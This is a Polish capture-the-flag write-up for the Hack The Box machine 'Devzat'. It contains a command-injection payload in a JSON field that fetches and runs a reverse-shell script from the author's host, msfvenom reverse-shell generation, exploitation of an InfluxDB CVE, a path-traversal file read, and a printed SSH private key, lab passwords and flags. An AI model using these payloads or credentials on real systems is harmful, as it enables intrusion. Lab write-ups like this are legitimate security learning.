Devzat - 13.12.2021


Adres IP Devzat: 10.10.11.118 Adres IP mojego Linuxa: 10.10.14.174

NMap

┌──(kali㉿kali)-[~/htb/devzat]
└─$ nmap -sC -sV 10.10.11.118    
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-13 18:34 CET
Nmap scan report for 10.10.11.118
Host is up (0.054s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
|   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_  256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://devzat.htb/
8000/tcp open  ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.91%I=7%D=12/13%Time=61B78444%P=x86_64-pc-linux-gnu%r(N
SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Zaczynam od skanu nmapem. Mamy otwarte 3 porty.

22 - SSH (OpenSSH)
80 - HTTP Apache
8000 - SSH (protocol 2.0)

Header od razu ujawnia informacje o domenie, zatem dodaję do /etc/hosts wpis 10.10.11.118 devzat.htb.


Strona główna

Strona nie zawiera żadnych konkretnych informacji, poza emailem.

Email: patrick@devzat.htb

Również jedna z podstron kieruje mnie do połączenia przez wspomniany wcześniej port 8000.

Faktycznie po wpisaniu komendy następuje zalogowanie do Devzat (Chat over SSH).

Niestety na ten moment nie mogę zrobić niczego więcej z poziomu tego shella. Przechodzę do dalszej enumeracji.


Enumeracja DNS

Sprawdzam subdomeny.

gobuster vhost -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devzat.htb -o subdomains.txt
cat subdomains.txt | grep 200

Found: pets.devzat.htb (Status: 200) [Size: 510]

Otrzymujemy jeden wynik, dodaje pets.devzat.htb do /etc/hosts.

Po przejściu na nową subdomenę widać, że jest to prosta strona z informacjami o zwierzątkach.

Sprawdziłem foldery w subdomenie. Znalazł ukryty folder .git. Użyłem następnie GitTool Extractor do pobrania całego folderu na mojego Linuxa.

./extractor.sh ~/htb/devzat/pets.devzat.htb  ~/htb/devzat/git_export

Otrzymałem 3 foldery.

Folder 0-

W pliku main.go była ciekawa wstawka o API.

Jak się okazuje, /api/pet wyrzuca kolejne wpisy ze strony.

┌──(kali㉿kali)-[~/htb/devzat/git_export/0-ef07a04ebb2fc92cf74a39e0e4b843630666a705]
└─$ curl http://pets.devzat.htb/api/pet                                                                    
[{"name":"Cookie","species":"cat","characteristics":"Having a cat is like living in a shared apartment. Most of the time you mind your own business. From time to time you hang out together watching TV. And sometimes you find puke somewhere...\n"},{"name":"Mia","species":"cat","characteristics":"Having a cat is like living in a shared apartment. Most of the time you mind your own business. From time to time you hang out together watching TV. And sometimes you find puke somewhere...\n"},{"name":"Chuck","species":"dog","characteristics":"A dog will teach you unconditional love. If you can have that in your life, things won't be too bad."},{"name":"Balu","species":"dog","characteristics":"A dog will teach you unconditional love. If you can have that in your life, things won't be too bad."},{"name":"Georg","species":"gopher","characteristics":"Gophers use their long teeth to help build tunnels – to cut roots, loosen rocks and push soil away. Gophers have pouches in their cheeks that they use to carry food, hence the term “pocket” gopher. Gophers are generally solitary creatures that prefer to live alone except for brief mating periods."},{"name":"Gustav","species":"giraffe","characteristics":"With those extra long legs it is not surprising that a giraffe's neck is too short to reach the ground! Giraffes have a dark bluish tongue that is very long – approximately 50 centimetres (20 inches). Male giraffes fight with their necks."},{"name":"Rudi","species":"redkite","characteristics":"The wingspan of Red Kites can reach up to 170 cm (67 inch). Considering this large wingspan, the kites are very light birds, weighing no more than 0.9-1.3 kg (2.0-2.9 Punds)! The lifespan of Red Kites is usually around 4-5 years, but they can grow as old as 26 years of age! Red Kites have bright yellow legs and a yellow bill with a brown tip."},{"name":"Bruno","species":"bluewhale","characteristics":"The mouth of the blue whale contains a row of plates that are fringed with 'baleen', which are similar to bristles. Also the tongue of the blue whale is as big as an elephant."}]

Można również dodawać swoje rekordy.

Nawet wstępne, błędne próby pokazują, że parametr species jest w pewien sposób podatny. Podobne próby przy name nie działają.

{
"name": "test123",

"species": "test\" whoami -- "
}

Command Injection w API

Udało się, znalazłem Command Injection w naszym API.

Na swojej maszynie ustawiłem tcpdump, aby słuchał nadchodzących pingów, w ten sposób udało się zweryfikować podatność.

sudo tcpdump -i tun0 icmp


Shell

Teraz jest potencjalnie prosta droga do shella, “wystarczy” zainicjować shella.

Próbowałem wiele różnych payloadów na reverse shell z PayloadAllTheThings, niestety żaden nie zadziałał. Zatem stworzyłem plik w msfvenom , który po uruchomieniu utworzy połączenie.

msfvenom -p cmd/unix/reverse_bash LHOST=10.10.14.174 LPORT=9001 -f raw > shell.sh

API pobiera shell.sh i uruchamia go.

{"name": "test123",

"species": "test;wget http://10.10.14.174/shell.sh|bash shell.sh "

}

Otrzymuję połączenie na nasłuchiwanym porcie


User Patrick

Na tym etapie jesteśmy na użytkowniku patrick i nie możemy odczytać flagi user.txt.

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
patrick:x:1000:1000:patrick:/home/patrick:/bin/bash
catherine:x:1001:1001:catherine,,,:/home/catherine:/bin/bash
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

Jak dostać się na użytkownika catherine?

Znalazłem id_rsa usera patrick, co zapewni stabilniejszy shell.

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Tworzę lokalnie klucz, ustawiam uprawnienia i łączę się przez SSH.

vim patrick.ssh
sudo chmod 600 patrick.ssh
ssh patrick@10.10.11.118 -i patrick.ssh


LinPEAS

Znalazłem wiele ciekawych wektorów, między innymi w /var/backups był umieszczony backup usługi z portu 8000. W jednym z plików commands.go znalazłem następujący tekst:

Zatem znamy jakieś hasło CeilingCatStillAThingIn2021?. Niestety nie działa do logowania na drugiego usera.

W pliku jest wspomniane również o funkcji file = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}. Jednak po zalogowaniu na usługę z portu 8000, taka komenda nie działa.

No i tutaj utknąłem, spytałem się jednego z użytkowników o jakieś wskazówki - “Warto sprawdzić netstat”.

patrick@devzat:/$ netstat -an | grep LISTEN
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8086          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:8989            0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 :::8000                 :::*                    LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN

Faktycznie widać dodatkowe porty 8086 oraz 8443.


Port 8086 - InfluxDB

Na porcie 8086 mamy bazę danych.  Jest to baza danych szeregów czasowych typu open source opracowana przez firmę InfluxData. Napisana jest w języku Go.

Można sprawdzić wersję InfluxDB curl.

patrick@devzat:/usr$ curl -sL -I localhost:8086/ping
HTTP/1.1 204 No Content
Content-Type: application/json
Request-Id: 50bff9a9-5ddd-11ec-8001-0242ac110002
X-Influxdb-Build: OSS
X-Influxdb-Version: 1.7.5
X-Request-Id: 50bff9a9-5ddd-11ec-8001-0242ac110002
Date: Wed, 15 Dec 2021 19:29:26 GMT

Sprawdziłem w Google potencjalne podatności na tą wersję i jest traf CVE-2019-20933.


Tunelowanie SSH

Port 8086 był widoczny tylko od strony wewnętrznej Devzat. Tunelowanie sprawia, że widać go na ustalonym przez nas porcie. W tym przypadku 8888.

ssh -L 8888:devzat.htb:8086 patrick@10.10.11.118 -i patrick.ssh

Tutaj już wykorzystałem podatność InfluxDB 1.7.5.

Otrzymujmy dostęp do bazy danych.

[devzat] Insert query (exit to change db): SELECT *::field FROM "user"       
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "time",
                        "enabled",
                        "password",
                        "username"
                    ],
                    "name": "user",
                    "values": [
                        [
                            "2021-06-22T20:04:16.313965493Z",
                            false,
                            "WillyWonka2021",
                            "wilhelm"
                        ],
                        [
                            "2021-06-22T20:04:16.320782034Z",
                            true,
                            "woBeeYareedahc7Oogeephies7Aiseci",
                            "catherine"
                        ],
                        [
                            "2021-06-22T20:04:16.996682002Z",
                            true,
                            "RoyalQueenBee$",
                            "charles"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

W bazie umieszczone była nazwa użytkownika i hasło.

catherine:woBeeYareedahc7Oogeephies7Aiseci

user catherine

Logowanie na catherine ze znalezionymi danymi odbyło się bez problemu.

patrick@devzat:~$ su catherine
Password: woBeeYareedahc7Oogeephies7Aiseci
catherine@devzat:/home/patrick$ id
uid=1001(catherine) gid=1001(catherine) groups=1001(catherine)

user.txt d01bd986a692207436e8f922cc2a6b08


Privilege Escalation

Po przejrzeniu LinPEAS oraz innych komend nie znalazłem prostego sposobu na eskalacje. Mam pewną wskazówkę po sprawdzeniu uruchomionych procesów przez roota komendą ps aux | grep root

/bin/bash /root/devzat/start.sh

W scieżce /var/backups znajdują się ciekawe pliki, do których wcześniej jako patrick nie miałem dostępu, (a przynajmniej z tego, co czytałem), nie powinienem mieć wcześniej dostępu. Także znalezione wcześniej przypadkowo hasło CeilingCatStillAThingIn2021? na pewno się przyda.

-rw-------  1 catherine catherine  28297 Jul 16 07:00 devzat-dev.zip
-rw-------  1 catherine catherine  27567 Jul 16 07:00 devzat-main.zip

Utknąłem. Cóż, jak się okazało port 8443, to było ta sama usługa co poprzednio port 8000. Z tym, że tutaj mamy wersję dev. Mogłem się tego domyślić. Dlatego trzeba zawsze sprawdzać dokładnie netstata na wewnętrznej sieci.

Teraz mamy dostęp jako catherine do komendy file, którą widziałem wcześniej w plikach.

Po poprawnym wpisaniu komendy otrzymujemy dostęp do flagi roota.

catherina: /file ../../../../../root/root.txt CeilingCatStillAThingIn2021?
273bd33a604890a23cfab648e5e3775f

root.txt

273bd33a604890a23cfab648e5e3775f